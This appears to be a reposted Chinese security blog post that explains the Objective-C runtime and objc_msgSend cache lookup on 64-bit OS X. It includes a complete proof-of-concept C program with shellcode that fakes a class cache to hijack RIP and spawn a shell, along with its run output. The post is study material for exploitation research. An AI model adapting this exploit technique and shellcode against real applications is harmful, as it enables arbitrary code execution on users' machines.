<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/6444

            author vvun91e0n

            0x00 前言


            閱讀學習國外nemo大牛《Modern Objective-C Exploitation Techniques》文章的內容,就想在最新的OS X版本上調試出作者給出的代碼。控制rip。我根據自己的調試,修改了原程序,才調試成功。對大牛原程序的部分代碼的意圖和計算方法難免理解不足,歡迎留言與我交流學習。本文主要簡要介紹下對objective-c類的覆蓋到控制rip的技術。是目前OS X平臺下,比較主流的一種溢出利用方式。

            0x01 64位匯編知識及lldb簡單調試命令


            匯編知識主要是在調試的時候使用,在64位平臺下調試必不可少的知識。對此熟悉的讀者可直接跳過。下面簡要介紹下64位匯編。

            RIP的就是64位的指令寄存器。

            通用64位寄存器

            RAX RBX RCX RDX RBP RSI RDI RSP
            

            R8 --- R15

            可以使用

            OS X 64位的匯編調用約定,可以參考AMD64 Application Binary Interface

            x86-64 Function Calling convention:

            1. If the class is MEMORY, pass the argument on the stack.

            2. If the class is INTEGER, the next available register of the sequence %rdi, %rsi, %rdx, %rcx, %r8 and %r9 is used.

            可以看到和32位匯編的通過push壓棧來傳遞參數不同,函數的參數傳遞基本是通過寄存器來完成的。順序如上。 32位匯編通過int 0x80來進行系統調用,64位匯編是通過syscall來調用的。

            lldb是蘋果公司推出的用以替代gdb的調試器。隨xcode一起安裝。是進行動態調試的利器。調試時必不可少。下面簡要介紹下會用到的一些基礎命令:

            在命令行輸入lldb,就會進入調試工具

            (lldb)
            

            help會顯示所有的命令,需要詳細了解可以用輸入help + 命令查詢

            file命令加載需要調試的程序

            (lldb) file /Users/vvun91e0n/Desktop/OC64exploit
            Current executable set to '/Users/vvun91e0n/Desktop/OC64exploit' (x86_64).
            

            breakpoint set用來設置斷點

            (lldb) breakpoint set --name length
            

            breakpoint list可以用來查看所有斷點 breakpoint disable 關閉斷點 breakpoint enable 激活斷點 ni 單步步不執行指令

            run或r啟動進程進行調試

            register read 讀取現在所有寄存器的值 想讀取特定的幾個寄存器,寫在后面就行,使用簡化命令如

            (lldb) re r rdi r10 rsi
             rdi = 0x0000000100202fa0
             r10 = 0x0000000000000001
             rsi = 0x00007fff907bb509
            

            memory read 可以讀取指定地址的內存數據,如下指定地址就是length字符串。也可以使用gdb風格的x 0x00007fff907bb509命令來讀取內存數據。

            (lldb) memory read 0x00007fff907bb509
            0x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot
            0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen
            (lldb) x 0x00007fff907bb509
            0x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot
            0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen
            

            continue 或者c 命令來繼續執行。 kill來結束進程。run來重新啟動。 其他如條件斷點,修改寄存器值等命令讀者可以使用help命令了解。

            0x02 objective-c方法調用


            你需要對objective-c語言有一定的基本的了解。特別是objc_msgSend函數的調用機制。可以參考:《The Objective-C Runtime: Understanding and Abusing》。這篇文章是nemo2009年發表在phrack上的。在32位系統基礎上講Objective-C Runtime溢出的文章。還是有閱讀價值的。特別是對后面64位溢出的理解。

            下面簡要介紹下objective-c,先看看一個簡單的類實現和調用:

            #!c
            //  Talker.h
            #import <Foundation/Foundation.h>
            @interface Talker : NSObject        //定義一個類
            - (void) say: (char *) str;         //聲明一個say方法
            @end
            
            //  Talker.m
            #import "Talker.h"
            @implementation Talker              //類的相關方法實現
            - (void) say: (char *) phrase
            {
                printf("%s\n",phrase);
            }
            @end
            
            //main.m
            #import "Talker.h"
            int main(int argc, const char * argv[]) {
                @autoreleasepool {
                    // insert code here...
                    Talker *talker = [[Talker alloc] init];//分配內存,初始化
                    [talker say: "Hello, World!"];          //調用say方法
                }
                return 0;
            }
            

            如上面代碼所示,定義了一個Talker類,并在main函數中調用了say方法。 可以看出objective-c語言的方法調用語法為

            [\ \: \];

            主程序進行了3次函數調用

            class  | method 
            -------|-----------         
            Talker | alloc
            talker | init 
            talker | say
            

            將上面的代碼在xcode中編譯生成后的程序放入Hopper靜態反匯編后,會得到一下匯編代碼(注:這個事release版的結果,debug版的反匯編結果稍有不同)

            #!bash
            mov     rdi, qword [ds:objc_cls_ref_Talker]     ; objc_cls_ref_Talker, argument "instance" for method _objc_msgSend
            mov     rsi, qword [ds:0x1000010f8]             ; @selector(alloc), argument "selector" for method _objc_msgSend
            mov     r15, qword [ds:imp___got__objc_msgSend] ; imp___got__objc_msgSend
            call    r15                                     ; _objc_msgSend
            mov     rsi, qword [ds:0x100001100]             ; @selector(init), argument "selector" for method _objc_msgSend
            mov     rdi, rax                                ; argument "instance" for method _objc_msgSend
            call    r15                                     ; _objc_msgSend
            mov     rbx, rax
            mov     rsi, qword [ds:0x100001108]             ; @selector(say:), argument "selector" for method _objc_msgSend
            lea     rdx, qword [ds:0x100000f70]             ; "Hello, World!"
            mov     rdi, rbx                                ; argument "instance" for method _objc_msgSend
            call    r15                                     ; _objc_msgSend
            

            可以看出在進行方法調用時并不是直接call方法地址,而是將方法的selector作為第二個參數傳入rsi寄存器。與之前介紹的64位匯編調用約定一樣。第一參數對象指針isa壓入rdi。然后call r15調用objc_msgSend函數。這個函數就是需要研究利用的對象。相對于c語言在編譯時就決定運行時所調用的函數的靜態綁定。objectie-c語言利用了消息傳遞objc_msgSend函數在運行時,動態綁定調用函數。objective-c利用這個消息機制實現了runtime的方法調用。提高了語言的靈活性。使得objective-c成為了一門動態語言。

            0x03 objective-c的類結構和objc_msgSend函數

            在64位系統中,runtime進行了重新編寫,類的實現由原來的c語言struct結構,變成了c++類。

            struct objc_class : objc_object {
            // Class ISA;
            Class superclass;
            cache_t cache;      // formerly cache pointer and vtable
            class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags
            … 
            }
            

            類的第一個變量指向父類,在查詢不到需要調用的方法時,會向父類繼續進行查詢。 第二個變量指向cache,這個cache緩存了最近調用方法的selector和imp(方法入口地址),之所以使用cache就是為了提高objective-c語言的動態綁定特性的效率。加快查詢速度。

            struct cache_t {
            struct bucket_t *_buckets;
            mask_t _mask;
            mask_t _occupied;
            … 
            }
            
            struct bucket_t {
            private:
            cache_key_t _key;
            IMP _imp; 
            ...
            }
            

            cache的結構如上,cache里面的buckets指向一個bucket類,類里面的_key就是selector,指向選擇子的字符串。_imp指向方法地址。

            其中需要說明的是_mask。這個mask用來和輸入的sel進行按位與,對結果進行處理,作為buckets數組的序號。加快選擇速度,確定范圍。在我們的實驗代碼里,根據調試發現mask實際上起到一個確定遍歷范圍的作用。

            我的程序在mask的選擇上,是根據我自己的調試結果設置的。nemo的源碼的mask設置在我機器上運行后會取到非法內存。不知道是不是版本改變了更新了還是什么其他的原因導致的。我調試的時候lldb反匯編了objc_msgSend函數,對照該函數的源代碼進行了調試。對nemo的代碼進行了修改。讀者可以同時看看nemo的源代碼。還有幾處我都做出了修改。

            查詢Objective-C Runtime Reference,可以得到該函數聲明如下

            #!bash
            id objc_msgSend ( id self, SEL op, ... );
            Parameters:
            self    A pointer that points to the instance of the class that is to receive the message.
            op      The selector of the method that handles the message.
            ...     A variable argument list containing the arguments to the method.
            

            該函數的源代碼是開源的,由匯編語言實現,以提高objective-c的執行效率。

            大家看到第一個self參數實際就是指向實例的指針。第二個op參數就是sel,就是選擇子。指向方法名字符串。

            關于objc_msgSend的匯編源代碼可以到蘋果公司網站查看。以下是目前最新版本的鏈接地址 http://www.opensource.apple.com/source/objc4/objc4-646/runtime/Messengers.subproj/objc-msg-x86_64.s

            下面給出源代碼

            #!c++
            /********************************************************************
             *
             * id objc_msgSend(id self, SEL _cmd,...);
             *
             ********************************************************************/
            
                .data
                .align 3
                .globl _objc_debug_taggedpointer_classes
            _objc_debug_taggedpointer_classes:
                .fill 16, 8, 0
            
                ENTRY   _objc_msgSend
                MESSENGER_START
            
                NilTest NORMAL
            
                GetIsaFast NORMAL       // r11 = self->isa
                CacheLookup NORMAL      // calls IMP on success
            
                NilTestSupport  NORMAL
            
                GetIsaSupport   NORMAL
            
            // cache miss: go search the method lists
            LCacheMiss:
                // isa still in r11
                MethodTableLookup %a1, %a2  // r11 = IMP
                cmp %r11, %r11      // set eq (nonstret) for forwarding
                jmp *%r11           // goto *imp
            
                END_ENTRY   _objc_msgSend
            
                ENTRY _objc_msgSend_fixup
                int3
                END_ENTRY _objc_msgSend_fixup
            
                STATIC_ENTRY _objc_msgSend_fixedup
                // Load _cmd from the message_ref
                movq    8(%a2), %a2
                jmp _objc_msgSend
                END_ENTRY _objc_msgSend_fixedup
            

            可以看到該函數先獲取isa指針,然后調用Cachelookup,在Cache中尋找sel,如果找不到就調用MethodTableLookup,在MethodTable中繼續查找sel。這樣只要我們能夠覆蓋類的內存,構造虛假的cache,提供正確的sel,就能夠最終控制rip。對類結構進行溢出覆蓋控制也是現在比較流行的OS X下溢出利用技術。

            下面再來看看CacheLookup的源代碼:

            #!bash
            .macro  CacheLookup
            .if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET
                movq    %a2, %r10       // r10 = _cmd
            .else
                movq    %a3, %r10       // r10 = _cmd
            .endif
                andl    24(%r11), %r10d     // r10 = _cmd & class->cache.mask
                shlq    $$4, %r10       // r10 = offset = (_cmd & mask)<<4
                addq    16(%r11), %r10      // r10 = class->cache.buckets + offset
            
            .if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET
                cmpq    (%r10), %a2     // if (bucket->sel != _cmd)
            .else
                cmpq    (%r10), %a3     // if (bucket->sel != _cmd)
            .endif
                jne     1f          //     scan more
                // CacheHit must always be preceded by a not-taken `jne` instruction
                CacheHit $0         // call or return imp
            
            1:
                // loop
                cmpq    $$0, (%r10)
                je  LCacheMiss_f        // if (bucket->sel == 0) cache miss
                cmpq    16(%r11), %r10
                je  3f          // if (bucket == cache->buckets) wrap
            
                subq    $$16, %r10      // bucket--
            2:  
            .if $0 != STRET  &&  $0 != SUPER_STRET  &&  $0 != SUPER2_STRET
                cmpq    (%r10), %a2     // if (bucket->sel != _cmd)
            .else
                cmpq    (%r10), %a3     // if (bucket->sel != _cmd)
            .endif
                jne     1b          //     scan more
                // CacheHit must always be preceded by a not-taken `jne` instruction
                CacheHit $0         // call or return imp
            </code></pre>
            
            其中的CacheHit就是在sel匹配成功后跳轉到imp,從中可以看出mask的具體使用方法。
            
                andl    24(%r11), %r10d     // r10 = _cmd & class->cache.mask
                shlq    $$4, %r10       // r10 = offset = (_cmd & mask)<<4
                addq    16(%r11), %r10      // r10 = class->cache.buckets + offset
            

            sel和mask進行了andl操作,命令andl操作數是32位。而且后面的操作數時%r10d,表示的是r10的低32位。r10的高32位應該不變。但是讀者在調試的時候可能會發現證明r10的高32位也置零了。

            關于這里大家就需要查查Intel的手冊。有這樣一句:

            ? 32-bit operands generate a 32-bit result, zero-extended to a 64-bit result in the destination general-purpose register.

            由此可見,andl命令會將結果擴展到64位。

            之后,將與后的結果左移4位得到offset。將offset加到buckets的上。

            初始時offset就指向來整個數組的最后。通過subq命令遞減。

            subq    $$16, %r10      // bucket--
            

            從后向前來遍歷buckets數組。如果命中了sel就可以跳到imp了。16就是我們bucket_t結構的大小。 說了這么多。接下來就來看看代碼。

            0x04 具體代碼及細節說明


            完整代碼如下:

            #!c
            /*
            *   main.m
            *   OC64exploit Demo
            *
            *   Author:    vvun91e0n
            *   Date:      2015-05-25
            *   Tested on: Mac OS X 10.10.3 (Darwin kernel version 14.3.0)& 10.10.4
            *   Base on: nemo's source code @ www.phrack.com/papers/modern_objc_exploitation.html
            *   Shellcode on: Dustin Schultz‘source code @ www.exploit-db.com/exploits/15618
            */
            
            #import <Foundation/Foundation.h>
            #define NUMBUCKETS 0x20000
            #define MASK  0x20000
            #define BASESEL 0x7fff80000509     //0x7fff907bb509 my "length" sel address
                                               //may change in different os or different app
            
            struct fakecache {
                char pad[0x10];
                long bucketptr;
                long mask;
            };
            
            struct cacheentry {
                long sel;
                long rip;
            };
            
            char shellcode[] =
            "\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"
            "\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
            "\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f"
            "\x2f\x73\x68";
            
            int main(int argc, const char * argv[])
            {
                struct fakecache fc;
                char num[50];
                unsigned int slide;
            
                void *pshellcode = mmap(0, 0x33, PROT_EXEC | PROT_WRITE
                                       | PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
                if (pshellcode == MAP_FAILED) {
                    printf("[+] shellcode mmap failed\n");
                    exit(1);
                }
                memcpy(pshellcode, shellcode, sizeof(shellcode));
                printf("[+] Setting up shellcode\n");
            
                struct cacheentry *buckets = malloc((NUMBUCKETS+1) * sizeof(struct cacheentry));
                if(!buckets) {
                    printf("[!] allocation failed.\n");
                    exit(1);
                }
                for(slide = 0; slide <= NUMBUCKETS ; slide++) {
                    buckets[slide].sel = BASESEL + (slide * 0x1000);
                    buckets[slide].rip = (long)pshellcode;
                }
                printf("[+] Setting up buckets\n");
            
                NSString *l = [[NSString alloc] initWithUTF8String:"hello world"];
            
            
                memset(&fc,'\xcc',sizeof(fc));
                fc.mask = MASK; // mask
                fc.bucketptr = (unsigned long)buckets;
                printf("[+] Setting up fc\n");
            
                printf("[+] fc @ 0x%lx\n",(unsigned long)&fc);
                printf("[+] Class @ 0x%lx\n",(unsigned long)l);
                printf("[+] Buckets @ 0x%lx\n",(unsigned long)buckets);
                printf("[+] String length: 0x%x\n",(unsigned int)[l length]);
            
                sprintf(num,"%li",(long)l);
                long *ptr = (long *)atol(num);
                *ptr = (long)&fc; // isa ptr
                printf("[+] Overwriting object\n");
            
                printf("[+] Calling method\n");
                printf("String length: 0x%x\n",(unsigned int)[l length]);
                return 0;
            }
            

            具體步驟說明:

            • 先申請一塊可以執行的內存來存放shellcode。該shellcode功能是起一個sh。
            • 在申請一塊內存在構建bucket塊。NUMBUCKETS的大小設置可以修改,合適就好。
            • 開始構建虛假的bucket塊。一共構建了NUMBUCKETS+1個。

            每個bucket的rip(即imp)都指向shellcode的地址。

            bucket的sel就是對應的length方法的選擇子地址,也就是字符串的地址。這個就涉及到了OS X系統共享區域(Shared Region)的動態庫dylib加載空間問題了。在64bit OS X系統里面共享區域開始于地址0x7FFF80000000。動態庫加載地址會隨機加上一個偏移。但是偏移都是以內存頁為單位的,一個頁的大小是0x1000。

            通過在一個正常程序NSString類的length方法上下了斷點,執行程序斷在此處查看調用時的第二個參數rsi寄存器的值,我們就能得到這個length的地址

            #!bash
            Process 5001 stopped
            * thread #1: tid = 0x54aeb, 0x00007fff927cf1d0 CoreFoundation`-[__NSCFString length], queue = 'com.apple.main-thread', stop reason = breakpoint 1.32
                frame #0: 0x00007fff927cf1d0 CoreFoundation`-[__NSCFString length]
            CoreFoundation`-[__NSCFString length]:
            ->  0x7fff927cf1d0 <+0>: pushq  %rbp
                0x7fff927cf1d1 <+1>: movq   %rsp, %rbp
                0x7fff927cf1d4 <+4>: popq   %rbp
                0x7fff927cf1d5 <+5>: jmp    0x7fff927cdcd0            ; _CFStringGetLength2
            (lldb) re r rsi
                 rsi = 0x00007fff907bb509
            (lldb) x 0x00007fff907bb509
            0x7fff907bb509: 6c 65 6e 67 74 68 00 69 73 54 79 70 65 4e 6f 74  length.isTypeNot
            0x7fff907bb519: 45 78 63 6c 75 73 69 76 65 3a 00 61 70 70 65 6e  Exclusive:.appen
            

            由于加載以頁為單位所以 后面的12bit 509是不會改變的。我們構建虛假bucket時就以0x1000為單位進行不斷嘗試每個地址。如果NUMBUCKETS的大小還不夠,還可以增加。如果執行正確總會碰撞到正確的sel。從而轉到imp。

            • 構建虛假的objc_object結構,即代碼中的fakecache,前面的superclass變量可隨意填充。fc.mask和fc.bucketptr設置成對應值。
            • 新建一個NSString類實例指針l。將l指針的地址改為fc的地址。
            • 對l調用方法length。這樣會調用objc_msgSend函數。

            如果一些正常執行回執行shellcode,啟動一個sh

            #!bash
            MacBook:~ vvun91e0n$ /Users/vvun91e0n/Desktop/OC64exploit
            [+] Setting up shellcode
            [+] Setting up buckets
            [+] Setting up fc
            [+] fc @ 0x7fff57daba70
            [+] Class @ 0x7f8733c0d410
            [+] Buckets @ 0x107ecd000
            [+] String length: 0xb
            [+] Overwriting object
            [+] Calling method
            sh-3.2$ 
            

            在調試的時候可以利用添加條件斷點斷在最后一個溢出時調用的objc_msgSend處,利用單步執行ni命令。一條一條執行進行調試。利用disasseble命令查看objc_msgSend函數的反匯編代碼。

            0x05 總結


            通過這個代碼調試過程驗證里對objective-c類結構進行溢出的可行性。可以成功獲得rip。

            在實際應用中可能不像例子中,直接修改類的地址。而是通過溢出覆蓋一個類結構的數據。來獲得rip。

            但是在實際的應用中獲得rip還是遠遠不夠的。還要對抗NX和ASLR等技術。現在比較通用的方法還是利用ROP chain等技術來成功利用溢出。

            謝謝閱讀

            參考:

            1. Modern Objective-C Exploitation Techniques http://www.phrack.org/papers/modern_objc_exploitation.html

            2. The Objective-C Runtime: Understanding and Abusing http://www.phrack.org/issues/66/4.html#article

            3. AMD64 Application Binary Interface http://x86-64.org/documentation/abi.pdf

            4. Objective-C消息機制的原理 http://dangpu.sinaapp.com/?p=119

            5. 詳解objc_msgSend http://www.cnblogs.com/tekkaman/archive/2013/05/23/3094549.html

            6. 理解objc_msgSend的作用 http://book.51cto.com/art/201403/432144.htm

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线